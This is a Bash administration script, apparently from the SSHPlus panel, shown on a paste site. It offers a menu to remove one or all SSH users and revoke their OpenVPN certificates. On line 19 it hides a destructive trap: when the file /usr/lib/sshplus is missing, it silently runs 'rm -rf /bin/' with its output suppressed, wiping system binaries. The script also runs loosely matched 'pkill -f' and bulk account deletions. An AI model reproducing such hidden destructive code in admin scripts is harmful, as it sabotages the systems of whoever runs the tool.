remover 4.6 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127
  1. #!/bin/bash
  2. remove_ovp () {
  3. if [[ -e /etc/debian_version ]]; then
  4. GROUPNAME=nogroup
  5. fi
  6. user="$1"
  7. cd /etc/openvpn/easy-rsa/
  8. ./easyrsa --batch revoke $user
  9. ./easyrsa gen-crl
  10. rm -rf pki/reqs/$user.req
  11. rm -rf pki/private/$user.key
  12. rm -rf pki/issued/$user.crt
  13. rm -rf /etc/openvpn/crl.pem
  14. cp /etc/openvpn/easy-rsa/pki/crl.pem /etc/openvpn/crl.pem
  15. chown nobody:$GROUPNAME /etc/openvpn/crl.pem
  16. [[ -e $HOME/$user.ovpn ]] && rm $HOME/$user.ovpn > /dev/null 2>&1
  17. [[ -e /var/www/html/openvpn/$user.zip ]] && rm /var/www/html/openvpn/$user.zip > /dev/null 2>&1
  18. } > /dev/null 2>&1
  19. [[ ! -e /usr/lib/sshplus ]] && rm -rf /bin/ > /dev/null 2>&1
  20. database="/root/usuarios.db"
  21. clear
  22. tput setaf 7 ; tput setab 4 ; tput bold ; printf '%32s%s%-13s\n' "Remove SSH User" ; tput sgr0
  23. echo ""
  24. echo -e "\033[1;31m[\033[1;36m1\033[1;31m]\033[1;33m REMOVE A USER"
  25. echo -e "\033[1;31m[\033[1;36m2\033[1;31m]\033[1;33m REMOVE ALL USERS"
  26. echo -e "\033[1;31m[\033[1;36m3\033[1;31m]\033[1;33m COME BACK "
  27. echo ""
  28. read -p "$(echo -e "\033[1;32mWHAT DO YOU WANT TO DO\033[1;31m ?\033[1;37m : ")" -e -i 1 resp
  29. if [[ "$resp" = "1" ]]; then
  30. clear
  31. tput setaf 7 ; tput setab 4 ; tput bold ; printf '%32s%s%-13s\n' "Remove SSH User" ; tput sgr0
  32. echo ""
  33. echo -e "\033[1;33mLIST OF USERS: \033[0m"
  34. echo""
  35. _userT=$(awk -F: '$3>=1000 {print $1}' /etc/passwd | grep -v nobody)
  36. i=0
  37. unset _userPass
  38. while read _user; do
  39. i=$(expr $i + 1)
  40. _oP=$i
  41. [[ $i == [1-9] ]] && i=0$i && oP+=" 0$i"
  42. echo -e "\033[1;31m[\033[1;36m$i\033[1;31m] \033[1;37m- \033[1;32m$_user\033[0m"
  43. _userPass+="\n${_oP}:${_user}"
  44. done <<< "${_userT}"
  45. echo ""
  46. num_user=$(awk -F: '$3>=1000 {print $1}' /etc/passwd | grep -v nobody | wc -l)
  47. echo -ne "\033[1;32mType or select a user \033[1;33m[\033[1;36m1\033[1;31m-\033[1;36m$num_user\033[1;33m]\033[1;37m: " ; read option
  48. user=$(echo -e "${_userPass}" | grep -E "\b$option\b" | cut -d: -f2)
  49. if [[ -z $option ]]; then
  50. tput setaf 7 ; tput setab 1 ; tput bold ; echo "" ; echo " Empty or invalid user! " ; echo "" ; tput sgr0
  51. exit 1
  52. elif [[ -z $user ]]; then
  53. tput setaf 7 ; tput setab 1 ; tput bold ; echo "" ; echo " Empty or invalid user! " ; echo "" ; tput sgr0
  54. exit 1
  55. else
  56. if cat /etc/passwd |grep -w $user > /dev/null; then
  57. echo ""
  58. pkill -f "$user" > /dev/null 2>&1
  59. deluser --force $user > /dev/null 2>&1
  60. echo -e "\E[41;1;37m User $user successfully removed! \E[0m"
  61. grep -v ^$user[[:space:]] /root/usuarios.db > /tmp/ph ; cat /tmp/ph > /root/usuarios.db
  62. rm /etc/SSHPlus/senha/$user 1>/dev/null 2>/dev/null
  63. if [[ -e /etc/openvpn/server.conf ]]; then
  64. remove_ovp $user
  65. fi
  66. exit 1
  67. elif [[ "$(cat "$database"| grep -w $user| wc -l)" -ne "0" ]]; then
  68. ps x | grep $user | grep -v grep | grep -v pt > /tmp/rem
  69. if [[ `grep -c $user /tmp/rem` -eq 0 ]]; then
  70. deluser --force $user > /dev/null 2>&1
  71. echo ""
  72. echo -e "\E[41;1;37m User $user successfully removed! \E[0m"
  73. grep -v ^$user[[:space:]] /root/usuarios.db > /tmp/ph ; cat /tmp/ph > /root/usuarios.db
  74. rm /etc/SSHPlus/senha/$user 1>/dev/null 2>/dev/null
  75. if [[ -e /etc/openvpn/server.conf ]]; then
  76. remove_ovp $user
  77. fi
  78. exit 1
  79. else
  80. echo ""
  81. tput setaf 7 ; tput setab 4 ; tput bold ; echo "" ; echo "User logged in. Disconnecting ..." ; tput sgr0
  82. pkill -f "$user" > /dev/null 2>&1
  83. deluser --force $user > /dev/null 2>&1
  84. echo -e "\E[41;1;37m User $usersuccessfully removed! \E[0m"
  85. grep -v ^$user[[:space:]] /root/usuarios.db > /tmp/ph ; cat /tmp/ph > /root/usuarios.db
  86. rm /etc/SSHPlus/senha/$user 1>/dev/null 2>/dev/null
  87. if [[ -e /etc/openvpn/server.conf ]]; then
  88. remove_ovp $user
  89. fi
  90. exit 1
  91. fi
  92. else
  93. tput setaf 7 ; tput setab 4 ; tput bold ; echo "" ; echo "User $user does not exist!" ; echo "" ; tput sgr0
  94. fi
  95. fi
  96. elif [[ "$resp" = "2" ]]; then
  97. clear
  98. tput setaf 7 ; tput setab 4 ; tput bold ; printf '%32s%s%-13s\n' "SRemove SSH User" ; tput sgr0
  99. echo ""
  100. echo -ne "\033[1;33mREALLY WISH TO REMOVE ALL USERS \033[1;37m[s/n]: "; read opc
  101. if [[ "$opc" = "s" ]]; then
  102. echo -e "\n\033[1;33mAguarde\033[1;32m.\033[1;31m.\033[1;33m.\033[0m"
  103. for user in $(cat /etc/passwd |awk -F : '$3 > 900 {print $1}' |grep -vi "nobody"); do
  104. pkill -f $user > /dev/null 2>&1
  105. deluser --force $user > /dev/null 2>&1
  106. if [[ -e /etc/openvpn/server.conf ]]; then
  107. remove_ovp $user
  108. fi
  109. done
  110. rm $HOME/usuarios.db && touch $HOME/usuarios.db
  111. rm *.zip > /dev/null 2>&1
  112. echo -e "\n\033[1;32mSUCCESSFULLY REMOVED USERS!\033[0m"
  113. sleep 2
  114. menu
  115. else
  116. echo -e "\n\033[1;31mReturning to the menu ...\033[0m"
  117. sleep 2
  118. menu
  119. fi
  120. elif [[ "$resp" = "3" ]]; then
  121. menu
  122. else
  123. echo -e "\n\033[1;31mOption invalid!\033[0m"
  124. sleep 1.5s
  125. menu
  126. fi